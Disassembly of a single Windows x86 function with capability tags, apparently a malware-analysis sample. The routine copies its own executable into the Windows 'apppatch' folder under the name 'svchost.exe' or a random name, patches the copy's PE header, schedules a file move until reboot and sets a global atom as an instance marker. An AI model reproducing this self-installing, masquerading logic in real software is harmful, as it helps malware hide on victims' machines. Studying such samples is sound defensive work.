Function at 0x402780
Capabilities:
Access pe header
Check if file exists
Copy file
Move file
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x33c
push ebx
xor eax, eax
push esi
push edi
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
push 0x1c
lea eax, [esp + 0x18]
push eax
xor ebx, ebx
push 0x401e40
mov dword [esp + 0x20], ebx
call dword [sym.imp.kernel32.dll_VirtualQuery]
mov edx, dword [esp + 0x18]
push 0x104
lea ecx, [esp + 0x13c]
push ecx
push edx
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
xor eax, eax
jmp 0x4027e0
mov cl, byte [eax + 0x45a770]
mov byte [esp + eax + 0x30], cl
inc eax
cmp cl, bl
jne 0x4027e0
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.shlwapi.dll_PathFileExistsA]
test eax, eax
jne 0x402909
push 0x104
lea ecx, [esp + 0x34]
push ecx
call dword [sym.imp.kernel32.dll_GetSystemWindowsDirectoryA]
lea eax, [esp + 0x30]
dec eax
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x402817
mov edx, dword [str._apppatch_]
mov ecx, dword [0x404fa8]
mov dword [eax], edx
mov dx, word [0x404fac]
mov dword [eax + 4], ecx
mov cl, byte [0x404fae]
mov word [eax + 8], dx
push 0x404684
mov byte [eax + 0xa], cl
mov dword [esp + 0x14], ebx
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
cmp eax, ebx
je 0x402877
push 0x404694
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
cmp esi, ebx
je 0x402877
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [esp + 0x10], ebx
je 0x4028a6
lea eax, [esp + 0x30]
dec eax
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x402882
mov ecx, dword [str.svchost.exe]
mov edx, dword [0x404fb4]
mov dword [eax], ecx
mov ecx, dword [0x404fb8]
mov dword [eax + 4], edx
mov dword [eax + 8], ecx
jmp 0x402909
call dword [sym.imp.kernel32.dll_GetTickCount]
push eax
call fcn.004014d0
and eax, 1
add eax, 6
push eax
call fcn.004017f0
mov edx, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4028c0
lea edi, [esp + 0x30]
sub eax, edx
dec edi
mov edi, edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x4028d0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x30]
rep movsb byte es:[edi], byte [esi]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x4028f0
mov edx, dword [0x404fbc]
mov cl, byte [0x404fc0]
mov dword [eax], edx
mov byte [eax + 4], cl
lea edx, [esp + 0x30]
push edx
push 0x404fc4
lea eax, [esp + 0x248]
push 0x104
push eax
call dword [sym.imp.msvcrt.dll__snprintf]
add esp, 0x10
push 1
lea ecx, [esp + 0x34]
push ecx
lea edx, [esp + 0x140]
push edx
call dword [sym.imp.kernel32.dll_CopyFileA]
test eax, eax
je 0x402a36
lea esi, [esp + 0x30]
call section..text
mov eax, esi
push eax
call fcn.00401cb0
lea ecx, [esp + 0x10]
push ecx
mov eax, esi
call fcn.00401290
mov esi, eax
cmp esi, ebx
je 0x4029ad
push esi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
cmp eax, ebx
je 0x40298d
mov edx, 0xdfff
and word [eax + 0x16], dx
mov ebx, dword [esp + 0x10]
push esi
lea eax, [esp + 0x34]
call fcn.004011b0
xor ebx, ebx
mov edi, dword [sym.imp.kernel32.dll_GetProcessHeap]
push esi
push ebx
call edi
push eax
call dword [sym.imp.kernel32.dll_HeapValidate]
test eax, eax
je 0x4029ad
push esi
push ebx
call edi
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
lea eax, [esp + 0x30]
push eax
call fcn.00401d70
push 4
lea ecx, [esp + 0x34]
push ecx
lea edx, [esp + 0x248]
push edx
call dword [sym.imp.kernel32.dll_MoveFileExA]
push 0x404684
mov dword [esp + 0x14], ebx
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
cmp eax, ebx
je 0x4029ff
push 0x404694
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
cmp esi, ebx
je 0x4029ff
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [esp + 0x10], ebx
je 0x402a0f
lea ecx, [esp + 0x30]
push ecx
call fcn.00401880
push str.Tue_Aug_16_19:37:54_20111
call dword [sym.imp.kernel32.dll_GlobalFindAtomA]
test ax, ax
je 0x402a2b
call fcn.004013f0
push ebx
call dword [sym.imp.kernel32.dll_ExitProcess]
push str.Tue_Aug_16_19:37:54_20111
call dword [sym.imp.kernel32.dll_GlobalAddAtomA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret